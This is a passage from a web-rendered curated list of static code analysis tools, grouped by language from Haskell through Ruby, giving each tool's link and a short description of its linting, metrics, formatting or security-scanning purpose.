refinement type checker for Haskell programs.</p> </li> <li> <p><a href="https://kowainik.github.io/projects/stan">Stan</a> — Stan is a command-line tool for analysing Haskell projects and outputting discovered vulnerabilities in a helpful way with possible solutions for detected problems.</p> </li> <li> <p><a href="https://github.com/ocharles/weeder">Weeder</a> — A tool for detecting dead exports or package imports in Haskell code.</p> </li> </ul> <h2 id="haxe">Haxe</h2> <ul> <li><a href="https://haxecheckstyle.github.io/docs/haxe-checkstyle/home.html">Haxe Checkstyle</a> — A static analysis tool to help developers write Haxe code that adheres to a coding standard.</li> </ul> <h2 id="java">Java</h2> <ul> <li> <p><a href="https://checkerframework.org">Checker Framework</a> — Pluggable type-checking for Java.</p> </li> <li> <p><a href="https://checkstyle.org">checkstyle</a> — Checking Java source code for adherence to a Code Standard or set of validation rules (best practices).</p> </li> <li> <p><a href="https://github.com/mauricioaniche/ck">ck</a> — Calculates Chidamber and Kemerer object-oriented metrics by processing the source Java files.</p> </li> <li> <p><a href="http://www.spinellis.gr/sw/ckjm">ckjm</a> — Calculates Chidamber and Kemerer object-oriented metrics by processing the bytecode of compiled Java files.</p> </li> <li> <p><a href="https://www.eclipse.org/cognicrypt">CogniCrypt</a> — Checks Java source and byte code for incorrect uses of cryptographic APIs.</p> </li> <li> <p><a href="http://www.designite-tools.com/designitejava">DesigniteJava</a> <span>©</span> — DesigniteJava supports detection of various architecture, design, and implementation smells along with computation of various code quality metrics.</p> </li> <li> <p><a href="https://www.diffblue.com/">Diffblue</a> <span>©</span> — Diffblue is a software company that provides AI-powered code analysis and testing solutions for software development teams. Its technology helps developers automate testing, find bugs, and reduce manual labor in their software development processes. The company's main product, Diffblue Cover, uses AI to generate and run unit tests for Java code, helping to catch errors and improve code quality.</p> </li> <li> <p><a href="https://bitbucket.org/yanniss/doop">Doop</a> — Doop is a declarative framework for static analysis of Java/Android programs, centered on pointer analysis algorithms. Doop provides a large variety of analyses and also the surrounding scaffolding to run an analysis end-to-end (fact generation, processing, statistics, etc.).</p> </li> <li> <p><a href="https://errorprone.info">Error-prone</a> — Catch common Java mistakes as compile-time errors.</p> </li> <li> <p><a href="http://fb-contrib.sourceforge.net">fb-contrib</a> — A plugin for FindBugs with additional bug detectors.</p> </li> <li> <p><a href="https://github.com/policeman-tools/forbidden-apis">forbidden-apis</a> — Detects and forbids invocations of specific method/class/field (like reading from a text stream without a charset). Maven/Gradle/Ant compatible.</p> </li> <li> <p><a href="https://github.com/google/google-java-format">google-java-format</a> — Reformats Java source code to comply with Google Java Style</p> </li> <li> <p><a href="https://github.com/amaembo/huntbugs">HuntBugs</a> <span>⚠</span> — Bytecode static analyzer tool based on Procyon Compiler Tools aimed to supersede FindBugs.</p> </li> <li> <p><a href="https://www.jetbrains.com/idea">IntelliJ IDEA</a> <span>©</span> — Comes bundled with a lot of inspections for Java and Kotlin and includes tools for refactoring, formatting and more.</p> </li> <li> <p><a href="https://www.jarchitect.com">JArchitect</a> <span>©</span> — Measure, query and visualize your code and avoid unexpected issues, technical debt and complexity.</p> </li> <li> <p><a href="https://www.cprover.org/jbmc">JBMC</a> — Bounded model-checker for Java (bytecode), verifies user-defined assertions, standard assertions, several coverage metric analyses.</p> </li> <li> <p><a href="https://mariana-tren.ch/">Mariana Trench</a> — Our security focused static analysis tool for Android and Java applications. Mariana Trench analyzes Dalvik bytecode and is built to run fast on large codebases (10s of millions of lines of code). It can find vulnerabilities as code changes, before it ever lands in your repository.</p> </li> <li> <p><a href="https://github.com/uber/NullAway">NullAway</a> — Type-based null-pointer checker with low build-time overhead; an <a href="http://errorprone.info/">Error Prone</a> plugin.</p> </li> <li> <p><a href="https://owasp.org/www-project-dependency-check">OWASP Dependency Check</a> — Checks dependencies for known, publicly disclosed, vulnerabilities.</p> </li> <li> <p><a href="https://www.qulice.com">qulice</a> — Combines a few (pre-configured) static analysis tools (checkstyle, PMD, Findbugs, ...).</p> </li> <li> <p><a href="https://github.com/jimbethancourt/RefactorFirst">RefactorFirst</a> — Identifies and prioritizes God Classes and Highly Coupled classes in Java codebases you should refactor first.</p> </li> <li> <p><a href="https://soot-oss.github.io/soot">Soot</a> — A framework for analyzing and transforming Java and Android applications.</p> </li> <li> <p><a href="https://spoon.gforge.inria.fr">Spoon</a> — Spoon is a metaprogramming library to analyze and transform Java source code (incl Java 9, 10, 11, 12, 13, 14). It parses source files to build a well-designed AST with powerful analysis and transformation API. Can be integrated in Maven and Gradle.</p> </li> <li> <p><a href="https://spotbugs.github.io">SpotBugs</a> — SpotBugs is FindBugs' successor. A tool for static analysis to look for bugs in Java code.</p> </li> <li> <p><a href="https://eclipse.github.io/steady/">steady</a> — Analyses your Java applications for open-source dependencies with known vulnerabilities, using both static analysis and testing to determine code context and usage for greater accuracy.</p> </li> <li> <p><a href="https://github.com/tomasbjerre/violations-lib">Violations Lib</a> — Java library for parsing report files from static code analysis. Used by a bunch of Jenkins, Maven and Gradle plugins.</p> </li> </ul> <h2 id="javascript">JavaScript</h2> <ul> <li> <p><a href="http://aetherjs.com">aether</a> <span>⚠</span> — Lint, analyze, normalize, transform, sandbox, run, step through, and visualize user JavaScript, in node or the browser.</p> </li> <li> <p><a href="https://developers.google.com/closure/compiler">Closure Compiler</a> — A compiler tool to increase efficiency, reduce size, and provide code warnings in JavaScript files.</p> </li> <li> <p><a href="https://github.com/google/closure-linter">ClosureLinter</a> <span>⚠</span> — Ensures that all of your project's JavaScript code follows the guidelines in the Google JavaScript Style Guide. It can also automatically fix many common errors.</p> </li> <li> <p><a href="https://github.com/escomplex/complexity-report">complexity-report</a> <span>⚠</span> — Software complexity analysis for JavaScript projects.</p> </li> <li> <p><a href="https://deepscan.io">DeepScan</a> <span>©</span> — An analyzer for JavaScript which targets runtime errors and quality issues rather than coding conventions.</p> </li> <li> <p><a href="https://github.com/the-simian/es6-plato">es6-plato</a> <span>⚠</span> — Visualize JavaScript (ES6) source complexity.</p> </li> <li> <p><a href="https://github.com/jared-stilwell/escomplex">escomplex</a> <span>⚠</span> — Software complexity analysis of JavaScript-family abstract syntax trees.</p> </li> <li> <p><a href="https://esprima.org">Esprima</a> <span>⚠</span> — ECMAScript parsing infrastructure for multipurpose analysis.</p> </li> <li> <p><a href="https://flow.org">flow</a> — A static type checker for JavaScript.</p> </li> <li> <p><a href="https://hegel.js.org">hegel</a> — A static type checker for JavaScript with a bias on type inference and strong type systems.</p> </li> <li> <p><a href="https://jshint.com/about">jshint</a> <a href="https://github.com/analysis-tools-dev/static-analysis/issues/223"><span>ℹ</span></a> — Detect errors and potential problems in JavaScript code and enforce your team's coding conventions.</p> </li> <li> <p><a href="https://github.com/douglascrockford/JSLint">JSLint</a> <a href="https://github.com/analysis-tools-dev/static-analysis/issues/223"><span>ℹ</span></a> — The JavaScript Code Quality Tool.</p> </li> <li> <p><a href="https://dpnishant.github.io/jsprime">JSPrime</a> <span>⚠</span> — Static security analysis tool.</p> </li> <li> <p><a href="https://opensecurity.in">NodeJSScan</a> — A static security code scanner for Node.js applications powered by libsast and semgrep that builds on the njsscan cli tool. It features a UI with various dashboards about an application's security status.</p> </li> <li> <p><a href="https://github.com/es-analysis/plato">plato</a> <span>⚠</span> — Visualize JavaScript source complexity.</p> </li> <li> <p><a href="https://github.com/Polymer/tools/tree/master/packages/analyzer">Polymer-analyzer</a> — A static analysis framework for Web Components.</p> </li> <li> <p><a href="https://www.reshiftsecurity.com">Reshift</a> <span>©</span> — A source code analysis tool for detecting and managing JavaScript security vulnerabilities.</p> </li> <li> <p><a href="https://retirejs.github.io/retire.js">retire.js</a> — Scanner detecting the use of JavaScript libraries with known vulnerabilities.</p> </li> <li> <p><a href="http://rslint.org/">RSLint</a> <span>⚠</span> — A (WIP) JavaScript linter written in Rust designed to be as fast as possible, customizable, and easy to use.</p> </li> <li> <p><a href="http://standardjs.com">standard</a> — An npm module that checks for Javascript Styleguide issues.</p> </li> <li> <p><a href="https://ternjs.net">tern</a> — A JavaScript code analyzer for deep, cross-editor language support.</p> </li> <li> <p><a href="https://typl.dev">TypL</a> <span>⚠</span> — With TypL, you just write completely standard JS, and the tool figures out your types via powerful inferencing.</p> </li> <li> <p><a href="https://github.com/xojs/xo">xo</a> — Opinionated but configurable ESLint wrapper with lots of goodies included. Enforces strict and readable code.</p> </li> <li> <p><a href="https://github.com/calmh/yardstick">yardstick</a> <span>⚠</span> — Javascript code metrics.</p> </li> </ul> <h2 id="julia">Julia</h2> <ul> <li><a href="https://github.com/julia-vscode/StaticLint.jl">StaticLint</a> — Static Code Analysis for Julia</li> </ul> <h2 id="kotlin">Kotlin</h2> <ul> <li> <p><a href="https://detekt.github.io/detekt">detekt</a> — Static code analysis for Kotlin code.</p> </li> <li> <p><a href="https://diktat.saveourtool.com">diktat</a> — Strict coding standard for Kotlin and a linter that detects and auto-fixes code smells.</p> </li> <li> <p><a href="https://facebook.github.io/ktfmt/">ktfmt</a> — A program that reformats Kotlin source code to comply with the common community standard for Kotlin code conventions. A ktfmt IntelliJ plugin is available from the plugin repository. To install it, go to your IDE's settings and select the Plugins category. Click the Marketplace tab, search for the ktfmt plugin, and click the Install button.</p> </li> <li> <p><a href="https://ktlint.github.io">ktlint</a> — An anti-bikeshedding Kotlin linter with built-in formatter.</p> </li> </ul> <h2 id="lua">Lua</h2> <ul> <li> <p><a href="https://github.com/lunarmodules/luacheck">luacheck</a> — A tool for linting and static analysis of Lua code.</p> </li> <li> <p><a href="https://github.com/philips/lualint">lualint</a> — lualint performs luac-based static analysis of global variable usage in Lua source code.</p> </li> <li> <p><a href="https://plugins.jetbrains.com/plugin/14698-luanalysis">Luanalysis</a> — An IDE for statically typed Lua development.</p> </li> </ul> <h2 id="matlab">MATLAB</h2> <ul> <li><a href="https://mathworks.com/help/matlab/ref/mlint.html">mlint</a> <span>©</span> — Check MATLAB code files for possible problems.</li> </ul> <h2 id="nim">Nim</h2> <ul> <li> <p><a href="https://nim-lang.org/docs/drnim.html">DrNim</a> — DrNim combines the Nim frontend with the Z3 proof engine in order to allow verify / validate software written in Nim.</p> </li> <li> <p><a href="https://github.com/FedericoCeratto/nimfmt">nimfmt</a> <span>⚠</span> — Nim code formatter / linter / style checker</p> </li> </ul> <h2 id="ocaml">Ocaml</h2> <ul> <li> <p><a href="https://github.com/PLSysSec/sys">Sys</a> — A static/symbolic Tool for finding bugs in (browser) code. It uses the LLVM AST to find bugs like uninitialized memory access.</p> </li> <li> <p><a href="https://github.com/verifast/verifast">VeriFast</a> — A tool for modular formal verification of correctness properties of single-threaded and multithreaded C and Java programs annotated with preconditions and postconditions written in separation logic. To express rich specifications, the programmer can define inductive datatypes, primitive recursive pure functions over these datatypes, and abstract separation logic predicates.</p> </li> </ul> <h2 id="php">PHP</h2> <ul> <li> <p><a href="https://zigrin.com/tools/cake-fuzzer/">CakeFuzzer</a> — Web application security testing tool for CakePHP-based web applications. CakeFuzzer employs a predefined set of attacks that are randomly modified before execution. Leveraging its deep understanding of the Cake PHP framework, Cake Fuzzer launches attacks on all potential application entry points.</p> </li> <li> <p><a href="https://github.com/bmitch/churn-php">churn-php</a> — Helps discover good candidates for refactoring.</p> </li> <li> <p><a href="https://github.com/mihaeu/dephpend">dephpend</a> — Dependency analysis tool.</p> </li> <li> <p><a href="https://github.com/sensiolabs-de/deprecation-detector">deprecation-detector</a> — Finds usages of deprecated (Symfony) code.</p> </li> <li> <p><a href="https://github.com/sensiolabs-de/deptrac">deptrac</a> — Enforce rules for dependencies between software layers.</p> </li> <li> <p><a href="https://github.com/Halleck45/DesignPatternDetector">DesignPatternDetector</a> — Detection of design patterns in PHP code.</p> </li> <li> <p><a href="https://www.tomasvotruba.com/blog/2017/05/03/combine-power-of-php-code-sniffer-and-php-cs-fixer-in-3-lines">EasyCodingStandard</a> — Combine <a href="https://github.com/squizlabs/PHP_CodeSniffer">PHP_CodeSniffer</a> and <a href="https://github.com/FriendsOfPHP/PHP-CS-Fixer">PHP-CS-Fixer</a>.</p> </li> <li> <p><a href="https://www.laravel-enlightn.com/">Enlightn</a> — A static and dynamic analysis tool for Laravel applications that provides recommendations to improve the performance, security and code reliability of Laravel apps. Contains 120 automated checks.</p> </li> <li> <p><a href="https://www.exakat.io">exakat</a> — An automated code reviewing engine for PHP.</p> </li> <li> <p><a href="https://github.com/phpro/grumphp">GrumPHP</a> — Checks code on every commit.</p> </li> <li> <p><a href="https://github.com/nunomaduro/larastan">larastan</a> — Adds static analysis to Laravel improving developer productivity and code quality. It is a wrapper around PHPStan.</p> </li> <li> <p><a href="https://trismegiste.github.io/Mondrian">Mondrian</a> <span>⚠</span> — A set of static analysis and refactoring tools which use graph theory.</p> </li> <li> <p><a href="https://nitpick-ci.com">Nitpick CI</a> <span>©</span> — Automated PHP code review.</p> </li> <li> <p><a href="https://github.com/php-parallel-lint/PHP-Parallel-Lint">parallel-lint</a> — This tool checks syntax of PHP files faster than serial check with a fancier output.</p> </li> <li> <p><a href="https://github.com/psecio/parse">Parse</a> — A Static Security Scanner.</p> </li> <li> <p><a href="https://pdepend.org">pdepend</a> — Calculates software metrics like cyclomatic complexity for PHP code.</p> </li> <li> <p><a href="https://github.com/phan/phan/wiki">phan</a> — A modern static analyzer from etsy.</p> </li> <li> <p><a href="https://github.com/carlosas/phpat">PHP Architecture Tester</a> — Easy to use architecture testing tool for PHP.</p> </li> <li> <p><a href="https://github.com/rskuipers/php-assumptions">PHP Assumptions</a> — Checks for weak assumptions.</p> </li> <li> <p><a href="https://cs.symfony.com">PHP Coding Standards Fixer</a> — Fixes your code according to standards like PSR-1, PSR-2, and the Symfony standard.</p> </li> <li> <p><a href="https://phpinsights.com">PHP Insights</a> — Instant PHP quality checks from your console. Analysis of code quality and coding style as well as overview of code architecture and its complexity.</p> </li> <li> <p><a href="https://plugins.jetbrains.com/plugin/7622-php-inspections-ea-extended-">Php Inspections (EA Extended)</a> — A Static Code Analyzer for PHP.</p> </li> <li> <p><a href="https://qafoolabs.github.io/php-refactoring-browser">PHP Refactoring Browser</a> — Refactoring helper.</p> </li> <li> <p><a href="https://github.com/tomzx/php-semver-checker">PHP Semantic Versioning Checker</a> — Suggests a next version according to semantic versioning.</p> </li> <li> <p><a href="https://github.com/nikic/PHP-Parser">PHP-Parser</a> — A PHP parser written in PHP.</p> </li> <li> <p><a href="https://github.com/mekras/php-speller">php-speller</a> — PHP spell check library.</p> </li> <li> <p><a href="https://github.com/Andrewsville/PHP-Token-Reflection">PHP-Token-Reflection</a> <span>⚠</span> — Library emulating the PHP internal reflection.</p> </li> <li> <p><a href="https://github.com/sstalle/php7cc">php7cc</a> <span>⚠</span> — PHP 7 Compatibility Checker.</p> </li> <li> <p><a href="https://github.com/Alexia/php7mar">php7mar</a> <span>⚠</span> — Assist developers in porting their code quickly to PHP 7.</p> </li> <li> <p><a href="https://pear.php.net/package/PHP_CodeSniffer">PHP_CodeSniffer</a> — Detects violations of a defined set of coding standards.</p> </li> <li> <p><a href="https://github.com/wapmorgan/PhpCodeAnalyzer">phpca</a> — Finds usage of non-built-in extensions.</p> </li> <li> <p><a href="https://github.com/sebastianbergmann/phpcpd">phpcpd</a> — Copy/Paste Detector for PHP code.</p> </li> <li> <p><a href="https://github.com/sebastianbergmann/phpdcd">phpdcd</a> <span>⚠</span> — Dead Code Detector (DCD) for PHP code.</p> </li> <li> <p><a href="https://mamuz.github.io/PhpDependencyAnalysis">PhpDependencyAnalysis</a> <span>⚠</span> — Builds a dependency graph for a project.</p> </li> <li> <p><a href="https://github.com/wapmorgan/PhpDeprecationDetector">PhpDeprecationDetector</a> — Analyzer of PHP code to search issues with deprecated functionality in newer interpreter versions. It finds removed objects (functions, variables, constants and ini-directives), deprecated functions functionality, and usage of forbidden names or tricks (e.g. reserved identifiers in newer versions).</p> </li> <li> <p><a href="https://github.com/dunglas/phpdoc-to-typehint">phpdoc-to-typehint</a> <span>⚠</span> — Add scalar type hints and return types to existing PHP projects using PHPDoc annotations.</p> </li> <li> <p><a href="https://www.phpdoc.org">phpDocumentor</a> — Analyzes PHP source code to generate documentation.</p> </li> <li> <p><a href="https://github.com/sebastianbergmann/phploc">phploc</a> — A tool for quickly measuring the size and analyzing the structure of a PHP project.</p> </li> <li> <p><a href="https://phpmd.org">PHPMD</a> — Finds possible bugs in your code.</p> </li> <li> <p><a href="http://www.phpmetrics.org">PhpMetrics</a> — Calculates and visualizes various code quality metrics.</p> </li> <li> <p><a href="https://github.com/povils/phpmnd">phpmnd</a> — Helps to detect magic numbers.</p> </li> <li> <p><a href="https://edgedesigncz.github.io/phpqa">PHPQA</a> — A tool for running QA tools (phploc, phpcpd, phpcs, pdepend, phpmd, phpmetrics).</p> </li> <li> <p><a href="https://github.com/jakzal/phpqa">phpqa - jakzal</a> — Many tools for PHP static analysis in one container.</p> </li> <li> <p><a href="https://github.com/jmolivas/phpqa">phpqa - jmolivas</a> — PHPQA all-in-one Analyzer CLI tool.</p> </li> <li> <p><a href="https://github.com/ovr/phpsa">phpsa</a> <span>⚠</span> — Static analysis tool for PHP.</p> </li> <li> <p><a href="https://phpstan.org">PHPStan</a> — PHP Static Analysis Tool - discover bugs in your code without running it!</p> </li> <li> <p><a href="https://github.com/designsecurity/progpilot">Progpilot</a> — A static analysis tool for security purposes.</p> </li> <li> <p><a href="https://psalm.dev">Psalm</a> — Static analysis tool for finding type errors in PHP applications.</p> </li> <li> <p><a href="https://github.com/Qafoo/QualityAnalyzer">Qafoo Quality Analyzer</a> <span>⚠</span> — Visualizes metrics and source code.</p> </li> <li> <p><a href="https://getrector.org">rector</a> — Instant Upgrades and Automated Refactoring of any PHP 5.3+ code. It upgrades your code for PHP 7.4, 8.0 and beyond. Rector promises a low false-positive rate because it looks for narrowly defined AST (abstract syntax tree) patterns. The main use-case are tackling technical debt in your legacy code and removing dead code. Rector provides a set of special rules for Symfony, Doctrine, PHPUnit, and many more.</p> </li> <li> <p><a href="https://github.com/phpDocumentor/Reflection">Reflection</a> — Reflection library to do Static Analysis for PHP Projects</p> </li> <li> <p><a href="https://insight.symfony.com/">Symfony Insight</a> <span>©</span> — Detect security risks, find bugs and provide actionable metrics for PHP projects.</p> </li> <li> <p><a href="https://github.com/ircmaxell/Tuli">Tuli</a> — A static analysis engine.</p> </li> <li> <p><a href="https://github.com/asm89/twig-lint">twig-lint</a> — twig-lint is a lint tool for your twig files.</p> </li> <li> <p><a href="https://securityonline.info/owasp-wap-web-application-protection-project">WAP</a> — Tool to detect and correct input validation vulnerabilities in PHP (4.0 or higher) web applications and predicts false positives by combining static analysis and data mining.</p> </li> </ul> <h2 id="plsql">PL/SQL</h2> <ul> <li><a href="https://felipezorzo.com.br/zpa/">ZPA</a> — Z PL/SQL Analyzer (ZPA) is an extensible code analyzer for PL/SQL and Oracle SQL. It can be integrated with SonarQube.</li> </ul> <h2 id="perl">Perl</h2> <ul> <li> <p><a href="https://technix.github.io/Perl-Analyzer/">Perl::Analyzer</a> — Perl-Analyzer is a set of programs and modules that allow users to analyze and visualize Perl codebases by providing information about namespaces and their relations, dependencies, inheritance, and methods implemented, inherited, and redefined in packages, as well as calls to methods from parent packages via SUPER.</p> </li> <li> <p><a href="https://metacpan.org/pod/Perl::Critic">Perl::Critic</a> — Critique Perl source code for best-practices.</p> </li> <li> <p><a href="https://perltidy.sourceforge.net/">perltidy</a> — Perltidy is a Perl script which indents and reformats Perl scripts to make them easier to read. The formatting can be controlled with command line parameters. The default parameter settings approximately follow the suggestions in the Perl Style Guide. Besides reformatting scripts, Perltidy can be a great help in tracking down errors with missing or extra braces, parentheses, and square brackets because it is very good at localizing errors.</p> </li> <li> <p><a href="https://github.com/htrgouvea/zarn">zarn</a> — A lightweight static security analysis tool for modern Perl Apps</p> </li> </ul> <h2 id="python">Python</h2> <ul> <li> <p><a href="https://github.com/PyCQA/autoflake">autoflake</a> — Autoflake removes unused imports and unused variables from Python code.</p> </li> <li> <p><a href="https://pypi.org/project/autopep8/">autopep8</a> — A tool that automatically formats Python code to conform to the PEP 8 style guide. It uses the pycodestyle utility to determine what parts of the code needs to be formatted.</p> </li> <li> <p><a href="https://bandit.readthedocs.io/en/latest">bandit</a> — A tool to find common security issues in Python code.</p> </li> <li> <p><a href="https://github.com/hchasestevens/bellybutton">bellybutton</a> — A linting engine supporting custom project-specific rules.</p> </li> <li> <p><a href="https://black.readthedocs.io/en/stable">Black</a> — The uncompromising Python code formatter.</p> </li> <li> <p><a href="https://pybowler.io/">Bowler</a> — Safe code refactoring for modern Python. Bowler is a refactoring tool for manipulating Python at the syntax tree level. It enables safe, large scale code modifications while guaranteeing that the resulting code compiles and runs. It provides both a simple command line interface and a fluent API in Python for generating complex code modifications in code.</p> </li> <li> <p><a href="https://github.com/ContinuumIO/ciocheck">ciocheck</a> <span>⚠</span> — Linter, formatter and test suite helper. As a linter, it is a wrapper around <code>pep8</code>, <code>pydocstyle</code>, <code>flake8</code>, and <code>pylint</code>.</p> </li> <li> <p><a href="https://github.com/mschwager/cohesion">cohesion</a> — A tool for measuring Python class cohesion.</p> </li> <li> <p><a href="https://deal.readthedocs.io/">deal</a> — Design by contract for Python. Write bug-free code. By adding a few decorators to your code, you get for free tests, static analysis, formal verification, and much more.</p> </li> <li> <p><a href="https://github.com/dlint-py/dlint">Dlint</a> — A tool for ensuring Python code is secure.</p> </li> <li> <p><a href="https://github.com/landscapeio/dodgy">Dodgy</a> — Dodgy is a very basic tool to run against your codebase to search for "dodgy" looking values. It is a series of simple regular expressions designed to detect things such as accidental SCM diff checkins, or passwords or secret keys hard coded into files.</p> </li> <li> <p><a href="https://pypi.org/project/fixit">fixit</a> — A framework for creating lint rules and corresponding auto-fixes for source code.</p> </li> <li> <p><a href="https://github.com/PyCQA/flake8">flake8</a> — A wrapper around <code>pyflakes</code>, <code>pycodestyle</code> and <code>mccabe</code>.</p> </li> <li> <p><a href="https://pypi.org/project/flakeheaven/">flakeheaven</a> — flakeheaven is a python linter built around flake8 to enable inheritable and complex toml configuration.</p> </li> <li> <p><a href="https://github.com/thg-consulting/it">InspectorTiger</a> <span>⚠</span> — IT, Inspector Tiger, is a modern python code review tool / framework. It comes with bunch of pre-defined handlers which warns you about improvements and possible bugs. Beside these handlers, you can write your own or use community ones.</p> </li> <li> <p><a href="https://jedi.readthedocs.io/en/latest">jedi</a> — Autocompletion/static analysis library for Python.</p> </li> <li> <p><a href="https://github.com/lyft/linty_fresh">linty fresh</a> — Parse lint errors and report them to Github as comments on a pull request.</p> </li> <li> <p><a href="https://pypi.org/project/mccabe">mccabe</a> — Check McCabe complexity.</p> </li> <li> <p><a href="https://github.com/adamchainz/multilint">multilint</a> <span>⚠</span> — A wrapper around <code>flake8</code>, <code>isort</code> and <code>modernize</code>.</p> </li> <li> <p><a href="http://www.mypy-lang.org">mypy</a> — A static type checker that aims to combine the benefits of duck typing and static typing, frequently used with <a href="https://github.com/Instagram/MonkeyType">MonkeyType</a>.</p> </li> <li> <p><a href="https://github.com/PyCQA/prospector">prospector</a> — A wrapper around <code>pylint</code>, <code>pep8</code>, <code>mccabe</code> and others.</p> </li> <li> <p><a href="https://github.com/uber/py-find-injection">py-find-injection</a> <span>⚠</span> — Find SQL injection vulnerabilities in Python code.</p> </li> <li> <p><a href="https://pyanalyze.readthedocs.io/en/latest/">pyanalyze</a> — A tool for programmatically detecting common mistakes in Python code, such as references to undefined variables and type errors. It can be extended to add additional rules and perform checks specific to particular functions.</p> </li> <li> <p><a href="https://pycodequ.al">PyCodeQual</a> <span>©</span> — PyCodeQual gives you insights into complexity and bug risks. It adds automatic reviews to your pull requests.</p> </li> <li> <p><a href="https://pycodestyle.pycqa.org/en/latest">pycodestyle</a> — (Formerly <code>pep8</code>) Check Python code against some of the style conventions in PEP 8.</p> </li> <li> <p><a href="http://www.pydocstyle.org">pydocstyle</a> — Check compliance with Python docstring conventions.</p> </li> <li> <p><a href="https://pypi.org/project/pyflakes">pyflakes</a> — Check Python source files for errors.</p> </li> <li> <p><a href="http://pylint.pycqa.org/en/latest">pylint</a> — Looks for programming errors, helps enforcing a coding standard and sniffs for some code smells. It additionally includes <code>pyreverse</code> (an UML diagram generator) and <code>symilar</code> (a similarities checker).</p> </li> <li> <p><a href="https://pyre-check.org">pyre-check</a> — A fast, scalable type checker for large Python codebases.</p> </li> <li> <p><a href="https://github.com/Microsoft/pyright">pyright</a> — Static type checker for Python, created to address gaps in existing tools like mypy.</p> </li> <li> <p><a href="https://github.com/regebro/pyroma">pyroma</a> — Rate how well a Python project complies with the best practices of the Python packaging ecosystem, and list issues that could be improved.</p> </li> <li> <p><a href="https://pyre-check.org/docs/pysa-basics.html">Pysa</a> — A tool based on Facebook's pyre-check to identify potential security issues in Python code identified with taint analysis.</p> </li> <li> <p><a href="https://github.com/python-security/pyt">PyT - Python Taint</a> <span>⚠</span> — A static analysis tool for detecting security vulnerabilities in Python web applications.</p> </li> <li> <p><a href="https://google.github.io/pytype">pytype</a> — A static type analyzer for Python code.</p> </li> <li> <p><a href="https://pypi.org/project/pyupgrade-docs/">pyupgrade</a> — A tool (and pre-commit hook) to automatically upgrade syntax for newer versions of the language.</p> </li> <li> <p><a href="https://github.com/quantifiedcode/quantifiedcode">QuantifiedCode</a> <span>⚠</span> — Automated code review &amp; repair. It helps you to keep track of issues and metrics in your software projects, and can be easily extended to support new types of analyses.</p> </li> <li> <p><a href="https://radon.readthedocs.io/en/latest">radon</a> — A Python tool that computes various metrics from the source code.</p> </li> <li> <p><a href="https://github.com/dosisod/refurb">refurb</a> — A tool for refurbishing and modernizing Python codebases. Refurb is heavily inspired by clippy, the built-in linter for Rust.</p> </li> <li> <p><a href="https://astral.sh/ruff">ruff</a> — Fast Python linter, written in Rust. 10-100x faster than existing linters. Compatible with Python 3.10. Supports file watcher.</p> </li> <li> <p><a href="https://unimport.hakancelik.dev">unimport</a> — A linter, formatter for finding and removing unused import statements.</p> </li> <li> <p><a href="https://github.com/jendrikseipp/vulture">vulture</a> — Find unused classes, functions and variables in Python code.</p> </li> <li> <p><a href="https://wemake-python-styleguide.rtfd.io/">wemake-python-styleguide</a> — The strictest and most opinionated python linter ever.</p> </li> <li> <p><a href="https://github.com/tonybaloney/wily">wily</a> — A command-line tool for archiving, exploring and graphing the complexity of Python source code.</p> </li> <li> <p><a href="https://xenon.readthedocs.io">xenon</a> — Monitor code complexity using <a href="https://github.com/rubik/radon"><code>radon</code></a>.</p> </li> <li> <p><a href="https://github.com/google/yapf">yapf</a> — A formatter for Python files created by Google YAPF follows a distinctive methodology, originating from the 'clang-format' tool created by Daniel Jasper. Essentially, the program reframes the code to the most suitable formatting that abides by the style guide, even if the original code already follows the style guide. This concept is similar to the Go programming language's 'gofmt' tool, which aims to put an end to debates about formatting by having the entire codebase of a project pass through YAPF whenever changes are made, thereby maintaining a consistent style throughout the project and eliminating the need to argue about style in every code review.</p> </li> </ul> <h2 id="r">R</h2> <ul> <li> <p><a href="https://github.com/MangoTheCat/cyclocomp">cyclocomp</a> — Quantifies the cyclomatic complexity of R functions / expressions.</p> </li> <li> <p><a href="https://mangothecat.github.io/goodpractice">goodpractice</a> — Analyses the source code for R packages and provides best-practice recommendations.</p> </li> <li> <p><a href="https://github.com/jimhester/lintr">lintr</a> — Static Code Analysis for R.</p> </li> <li> <p><a href="https://styler.r-lib.org">styler</a> — Formatting of R source code files and pretty-printing of R code.</p> </li> </ul> <h2 id="rego">Rego</h2> <ul> <li><a href="https://github.com/styrainc/regal">Regal</a> — Regal is a linter for the policy language Rego. Regal aims to catch bugs and mistakes in policy code, while at the same time helping people learn the language, best practices and idiomatic constructs.</li> </ul> <h2 id="ruby">Ruby</h2> <ul> <li> <p><a href="https://brakemanscanner.org">brakeman</a> — A static analysis security vulnerability scanner for Ruby on Rails applications.</p> </li> <li> <p><a href="https://github.com/rubysec/bundler-audit">bundler-audit</a> — Audit Gemfile.lock for gems with security vulnerabilities reported in <a href="https://github.com/rubysec/ruby-advisory-db">Ruby Advisory Database</a>.</p> </li> <li> <p><a href="https://github.com/square/cane">cane</a> <span>⚠</span> — Code quality threshold checking as part of your build.</p> </li> <li> <p><a href="https://github.com/danmayer/churn">Churn</a> <span>⚠</span> — A Project to give the churn file, class, and method for a project for a given checkin. Over time the tool adds up the history of churns to give the number of times a file, class, or method is changing during the life of a project.</p> </li> <li> <p><a href="https://github.com/thesp0nge/dawnscanner">dawnscanner</a> — A static analysis security scanner for ruby written web applications. It supports Sinatra, Padrino and Ruby on Rails frameworks.</p> </li> <li> <p><a href="https://github.com/Shopify/erb-lint">ERB Lint</a> — Lint your ERB or HTML files</p> </li> <li> <p><a href="https://github.com/DamirSvrtan/fasterer">Fasterer</a> — Common Ruby idioms checker.</p> </li> <li> <p><a href="https://ruby.sadi.st/Flay.html">flay</a> — Flay analyzes code for structural similarities.</p> </li> <li> <p><a href="https://ruby.sadi.st/Flog.html">flog</a> — Flog reports the most tortured code in an easy to read pain report. The higher the score, the more pain the code is in.</p> </li> <li> <p><a href="https://github.com/CoralineAda/fukuzatsu">Fukuzatsu</a> — A tool for measuring code complexity in Ruby class files. Its analysis generates scores based on cyclomatic complexity algorithms with no added "opinions".</p> </li> <li> <p><a href="https://github.com/threedaymonk/htmlbeautifier">htmlbeautifier</a> — A normaliser/beautifier for HTML that also understands embedded Ruby. Ideal for tidying up Rails templates.</p> </li> <li> <p><a href="https://github.com/michaeledgar/laser">laser</a> <span>⚠</span> — Static analysis and style linter for Ruby code.</p> </li> <li> <p><a href="https://github.com/metricfu/metric_fu">MetricFu</a> <span>⚠</span> — MetricFu is a set of tools to provide reports that show which parts of your code might need extra work.</p> </li> <li> <p><a href="https://github.com/codegram/pelusa">pelusa</a> — Static analysis Lint-type tool to improve your OO Ruby code.</p> </li> <li> <p><a href="https://github.com/apiology/quality">quality</a> — 